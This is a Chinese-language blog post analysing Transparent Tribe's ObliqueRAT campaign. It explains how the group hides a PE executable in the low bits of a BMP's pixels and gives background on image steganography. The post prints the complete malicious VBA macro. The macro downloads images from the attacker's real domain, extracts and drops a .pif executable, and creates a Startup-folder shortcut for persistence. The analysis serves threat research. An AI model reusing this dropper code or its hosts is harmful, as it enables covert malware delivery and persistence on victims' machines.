图片隐写术 - 透明部落通过BMP的RGB通道隐藏PE数据

2023-11-04

报告和样本

《Transparent Tribe APT expands its Windows malware arsenal》

没什么技术分析,主要是描述战术和趋势

《ObliqueRAT returns with new campaign using hijacked websites》

有描述宏代码,以及RAT的更新

《ObliqueRAT: New RAT hits victims’ endpoints via malicious documents》

内容为ObliqueRAT分析,也可以看看

样本

theta.bmp

camela.bmp

merj.bmp

宏代码

DownloadBackground:下载图片
BackgroundStretch:读取BMP图片保存为xls
BackgroundSize:将字符串Letter(ASC)转为OrderByte(Byte)

'下载图片
Sub DownloadBackground(url As String, filePath As String)
    Dim WinHttpReq As Object, attempts As Integer
    attempts = 4
    On Error GoTo TryAgain

TryAgain:
    attempts = attempts - 1
    Err.Clear
    If attempts > 0 Then
        Set WinHttpReq = CreateObject(\"Microsoft.XMLHTTP\")
        WinHttpReq.Open \"GET\", url, False
        WinHttpReq.send

        If WinHttpReq.Status = 200 Then
            Set Themeream = CreateObject(\"ADODB.Stream\")
            Themeream.Open
            Themeream.Type = 1
            Themeream.Write WinHttpReq.responseBody
            Themeream.SaveToFile filePath, 1
            Themeream.Close
        End If
    End If
End Sub

'PE文件大小
Private Function BackgroundSize(ByVal ProtectString As String) As Byte()
    Dim Nibbles() As Byte
    Dim ProtectPos As Long
    Dim ProtectDigit As Long
    Dim CursorLen As Long
    Dim Numeris As Long

    ReDim Nibbles(Len(ProtectString) \\ 2)
    For ProtectPos = 1 To Len(ProtectString)
        ProtectDigit = InStr(\"0123456789ABCDEF\", _
                         UCase$(Mid$(ProtectString, ProtectPos, 1))) - 1
        If ProtectDigit >= 0 Then
            If CursorLen > UBound(Nibbles) Then
                ReDim Preserve Nibbles(UBound(Nibbles) + 4)
            End If
            Nibbles(CursorLen) = Nibbles(CursorLen) * &H10 + ProtectDigit
            Numeris = Numeris + 1
        End If
        If Numeris = 2 Or ProtectDigit < 0 Then
            If Numeris > 0 Then CursorLen = CursorLen + 1
            Numeris = 0
        End If
    Next
    If Numeris = 0 Then CursorLen = CursorLen - 1
    If CursorLen < 0 Then
        Nibbles = \"\"
    Else
        ReDim Preserve Nibbles(CursorLen)
    End If
    BackgroundSize = Nibbles
End Function

'从BMP文件中提取出数据(PE文件)
Sub BackgroundStretch(pth As String, ByVal drpexP As String)
On Error Resume Next
Dim byteArray() As Byte
Dim memoryAddress As Long
Dim zL As Long
zL = 0
Dim rL As Long
Dim arrayofWords
    Const ForReading = 1, ForWriting = 2, ForAppending = 8
    Dim antiTermite, antiantiTermite, oFS, BreathTake, Letter, i, ch, WayPave
    WayPave = pth
    Set oFS = CreateObject(\"Scripting.FileSystemObject\")
    Set antiTermite = oFS.OpenTextFile(WayPave, ForReading, True)
        i = 0
        ch = 0
        Letter = \"\"
        antiTermite.Read (10)
        BreathTake = Asc(antiTermite.Read(1))
        BreathTake = BreathTake + Asc(antiTermite.Read(1)) * 256
        BreathTake = BreathTake + Asc(antiTermite.Read(1)) * 65536
        BreathTake = BreathTake + Asc(antiTermite.Read(1)) * 16777216
        antiTermite.Read (BreathTake - 14)
        Do Until antiTermite.AtEndOfStream
            i = i + 1
            ch = ch Or ((Asc(antiTermite.Read(1)) And 1) * (2 ^ (8 - i)))
            If i = 8 Then
                Letter = Letter & Chr(ch)
                If ch = 0 Then
                    Exit Do
                Else
                    ch = 0
                    i = 0
                End If
            End If
        Loop
    antiTermite.Close
    Set antiTermite = Nothing
    Set oFS = Nothing

'获取提取数据的文件大小
Dim OrderByte() As Byte
OrderByte = BackgroundSize(Letter)

Const adSaveCreateNotExist = 1
Const adTypeBinary = 1
Const adTypeText = 2
Dim objStreamUTF8: Set objStreamUTF8 = CreateObject(\"ADODB.Stream\")
Dim objStreamUTF8NoBOM: Set objStreamUTF8NoBOM = CreateObject(\"ADODB.Stream\")
With objStreamUTF8
  .Charset = \"UTF-16\"
  .Open
  .WriteText OrderByte
  .Position = 0
  .Type = adTypeText
  .Position = 2
End With

With objStreamUTF8NoBOM
  .Type = adTypeBinary
  .Open
  objStreamUTF8.CopyTo objStreamUTF8NoBOM
  .SaveToFile drpexP, 2
End With

objStreamUTF8.Close
objStreamUTF8NoBOM.Close
End Sub

Sub BackgroundManager()
On Error Resume Next

    Dim tmpBmpP As String
    Dim tmpBmpP2 As String
    Dim tmpBmpP3 As String
	'下载“http://iiaonline.in/DefenceLogo/theta.bmp”到“C:\\ProgramData\\SashaGreyHD.bmp”
	'ED9DCC4393AF121FD177CC4669383BFD
    tmpBmpP = \"C:\\ProgramData\\SashaGreyHD.bmp\"
    DownloadBackground \"http://iiaonline.in/DefenceLogo/theta.bmp\", tmpBmpP

    Dim fie, fie2, flh, flh2, enPd, Science As String
    Dim iotaD  As Variant
    Dim bcfe() As Byte
    Dim lnct As Double
    enPd = \"C:\\Users\\Public\\\"
    iotaD = enPd & \"555\\\"
    fie = \"chmodes\"
    flh = iotaD & fie & \".xlsx\"
    flh2 = iotaD & fie & \".pif\"
    Science = Environ$(\"userprofile\") & \"\\AppData\\Roaming\\Microsoft\\Word\\..\\Windows\\Start Menu\\Programs\\Junk\\..\\Startup\\looper.jpeg\"
	'确保路径“C:\\Users\\Public\\555”存在
    If Dir(iotaD, vbDirectory) = \"\" Then
        MkDir (iotaD)
    End If

    lnct = 0
	'将“C:\\ProgramData\\SashaGreyHD.bmp”保存为“C:\\Users\\Public\\555\\chmodes.xlsx”
    BackgroundStretch tmpBmpP, flh
	'将“chmodes.xlsx”转码并重命名为“chmodes.pif”
    Name flh As flh2

	'下载“http://iiaonline.in/sasha.jpg”到“C:\\ProgramData\\SashaGreyHQ.jpg”
    tmpBmpP2 = \"C:\\ProgramData\\SashaGreyHQ.jpg\"
    DownloadBackground \"http://iiaonline.in/sasha.jpg\", tmpBmpP2
    tmpBmpP3 = \"C:\\ProgramData\\SashaGreyHQ2.jpg\"
	'将“SashaGreyHQ.jpg”重命名为“SashaGreyHQ2.jpg”
    Name tmpBmpP2 As tmpBmpP3
    
    Dim oVaccine As Object
    Dim Theme As Object
    Set oVaccine = CreateObject(\"WScript.Shell\")
	'创建快捷方式“%userprofile%\\AppData\\Roaming\\Microsoft\\Word\\..\\Windows\\Start Menu\\Programs\\Junk\\..\\Startup\\looper.url\”
    Set Theme = oVaccine.CreateShortcut(Replace(Science, \"jpeg\", \"url\"))
	'快捷方式的运行路径为“C:\\Users\\Public\\555\\chmodes.pif”
    With Theme
        .TargetPath = flh2
        .Save
    End With
	'下载“http://iiaonline.in/timon.jpeg”到“C:\\ProgramData\\SashaGreyHQ.jpg”
    DownloadBackground \"http://iiaonline.in/timon.jpeg\", tmpBmpP2
End Sub

知识扩展图片隐写

先了解一下常见图片类型
常用工具
隐写基于图片的无损压缩:
由于LSB隐写是在最低位隐藏数据,也就是在比较无关紧要的地方隐藏,因此只有在无损压缩(png)或无压缩(bmp)图片上实现。
JPG:属于有损压缩格式,数据可能会在压缩的过程中被破坏;
PNG:也有压缩,但却是无损压缩,所以数据不会丢失;
BMP:图片把所有的像素都按原样储存,没有进行压缩,因此一般会特别的大
但是也有可能将BMP文件改为JPG后缀,应该以文件头为判断格式的标准:

常见图片文件头与文件尾

格式 文件头 文件尾
JPEG(jpg) FFD8FF FF D9
PNG(png) 89504E47 AE 42 60 82
GIF(gif) 47494638 00 3B
ZIP Archive 504B0304 50 4B
TIFF(tif) 49492A00 -
RAR Archive 52617221 -

RGB通道隐写

代码
特点有将十六进制色值转换RGB:
在这里插入图片描述
对应代码为:

    //通过位与方法获取三色值
    int R = (colorLong & 0xFF0000) >> 16;
    int G = (colorLong & 0x00FF00) >> 8;
    int B = colorLong & 0x0000FF;

对应提取的宏代码为:

    Dim antiTermite, antiantiTermite, oFS, BreathTake, Letter, i, ch, WayPave
    WayPave = pth
    Set oFS = CreateObject(\"Scripting.FileSystemObject\")
    Set antiTermite = oFS.OpenTextFile(WayPave, ForReading, True)
        i = 0
        ch = 0
        Letter = \"\"
        antiTermite.Read (10)
        BreathTake = Asc(antiTermite.Read(1))
        BreathTake = BreathTake + Asc(antiTermite.Read(1)) * 256
        BreathTake = BreathTake + Asc(antiTermite.Read(1)) * 65536
        BreathTake = BreathTake + Asc(antiTermite.Read(1)) * 16777216
        antiTermite.Read (BreathTake - 14)

LSB隐写(最低有效位隐写)

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

图片隐写术 - 透明部落通过BMP的RGB通道隐藏PE数据 的相关文章

随机推荐

  • 职工工资程序c语言doc,c语言职工工资管理程序代码.doc

    c语言职工工资管理程序代码 include include include include define N 3 void enter int menu void input void search void search number v
  • r语言如何将图变成矩阵?_SPSS矩阵散点图:多变量关系探查利器

    多变量关系探查 矩阵散点图是非常不错的选择 是可视化利器 假设你有5个指标数据要考察两两之间关系 不需要依次制作10个散点图 矩阵散点图可以 一次搞定 在一个大坐标下完成所有散点图的绘制 按照矩阵的形式呈现出来 更高效 SPSS提供独特的散
  • C++ 学习大纲

    一 C 基本语法知识点 二 数据结构和基本算法 刷题 三 数据库 四 并行 五 网络编程 socket编程 服务器开发 并行量吞吐量稳定性 六 库的使用 引入第三方库 boost库 七 操作系统的知识
  • 四元数-坐标系转换-旋转-转欧拉角

    1 四元数世界坐标系转换到父节点坐标系下 公式 Q Q父 1 Q子 把四元数转到父坐标系下 ChildLocalQuat VDFULL GetChildLocalQuat quaternion father quaternion child
  • Qt子线程的“信号队列”(转载)

    对Qt的多线程编程没有深究 只了解了基本的用法 够我用就行了 之所以写这篇文章是因为前几天遇到一个疑问 如果其他几个线程同时向一个线程发signal 而这个线程没有自己的事件循环 那是不是会丢失signal呢 下面是我总结的两种子线程的工作
  • Android开发把项目打包成apk

    做完一个Android项目之后 如何才能把项目发布到Internet上供别人使用呢 我们需要将自己的程序打包成Android安装包文件 APK Android Package 其后缀名为 apk 将APK文件直接上传到Android模拟器或
  • (2021,FastGAN)用于高保真 few-shot 图像合成的更快、更稳定的 GAN 训练

    Towards faster and stabilized gan training for high fidelity few shot image synthesis 公众号 EDPJ 目录 0 摘要 1 简介 2 相关工作 3 方法
  • 在windows中ohmyzsh 的powerlevel10k主题及插件推荐

    1 安装powerlevel10k git clone https github com romkatv powerlevel10k git ZSH CUSTOM themes powerlevel10k 配置ohmyzsh 主题 vim
  • Java初识泛型

    目录 一 包装类 1 基本数据类型和对应的包装类 2 装箱和拆箱 3 自动装箱和自动拆箱 二 什么是泛型 三 引出泛型 1 泛型的语法 四 泛型类的使用 1 语法 2 示例 3 类型推导 Type Inference 六 泛型如何编译的 1
  • 计算机组成原理题库(2)

    计算机网络题库 目录 计算机网络题库 1 选择题 2 填空题 3 分析判断题 可能会有重复 大家跳着看 4 计算题 5 简述题 1 选择题 1 总线通信中 若发送方和接收方设备的速度有差异 但不是特别大 则最适合选择 时序控制方式 A 同步
  • unity打开VS2017异常解决 unity打开VS2017很慢 unity只打开mono

    早几天开始安装了VS2017 关联好unity 但后续使用编译脚本时 发现经常打开很慢 最后总是打开mono 检查过自己的关联没有错误 也试着修复了几次VS 上网搜了几遍 连老外的网站都看了 最后找到的解决方案是更换成VS2015 原因在于
  • PyTorch深度学习实战(8)——批归一化

    PyTorch深度学习实战 8 批归一化 0 前言 1 批归一化原理 2 批归一化优势 3 批归一化对模型训练的影响 3 1 未使用批归一化 且输入值较小 3 2 使用批归一化 且输入值较小 3 3 使用批归一化 且输入值较大 小结 系列链
  • element ui自定义主题

    一 在element ui 里找到自定义主题 1 1 在自定义主题 设置对应的颜色 并下载 1 2 在项目目录下安装element theme element theme chalk npm i element theme chalk 2
  • virtio sr-iov

    虚拟机规格 12核 32G内存 负载模拟 利用bc将CPU所有核占用提高的98 echo scale 500000 4 a 1 bc l q VirtIO 9 37 Gbps 4 5 12 SR IOV 9 40 Gbps 4 5 7 低负
  • 蓝桥杯单片机组经验分享之(一)引言

    一 开篇激励 蓝桥杯单片机组真的是非常容易拿奖的 尤其是省赛 水军特别多 结合我以及我的师兄师姐的参赛经验 基本上编程题全部完成就能保证省一了 至少广东是这情况 至于想拿国一的话得靠平时专业知识的积累了 只靠程序高分是拿不到国一的 第八届我
  • 小程序使用 企业微信客户服务插件(联系我) contactPlugin

    小程序插件接入步骤 1 开发者在小程序管理后台申请使用插件 添加路径 设置 gt 第三方服务 gt 插件管理 gt 添加插件 搜索并添加插件ID wx104a1a20c3f81ec2 无需审核确认 设置 第三方服务 插件管理 添加插件 2
  • 【Linux初阶】信号入门

    hello 各位读者大大们你们好呀 系列专栏 Linux初阶 本篇内容 Linux信号的基本概念 生活信号 技术信号 信号生命周期 信号的保存位置和发送本质 信号的产生 四种方式 一个系统调用接口 作者简介 计算机海洋的新进船长一枚 请多多
  • vue自定义指令-加载指令v-loading和占位图指令v-showimg

    了解自定义指令的钩子函数 bind 每当指令绑定到元素上的时候 就会立刻执行bind这个函数 只调用一次 和css相关的操作 可以放在这个钩子函数中 inserted 元素插入到DOM中的时候 会执行inserted函数 只调用一次 upd
  • 狂神说SpringMVC02:第一个MVC程序

    狂神说SpringMVC系列连载课程 通俗易懂 基于Spring5版本 视频同步 欢迎各位狂粉转发关注学习 未经作者授权 禁止转载 Hello SpringMVC 在上一节中 我们讲解了 什么是SpringMVC以及它的执行原理 狂神说Sp
  • 图片隐写术 - 透明部落通过BMP的RGB通道隐藏PE数据

    透明部落通过BMP的RGB通道隐藏PE数据 报告和样本 Transparent Tribe APT expands its Windows malware arsenal https blog talosintelligence com 2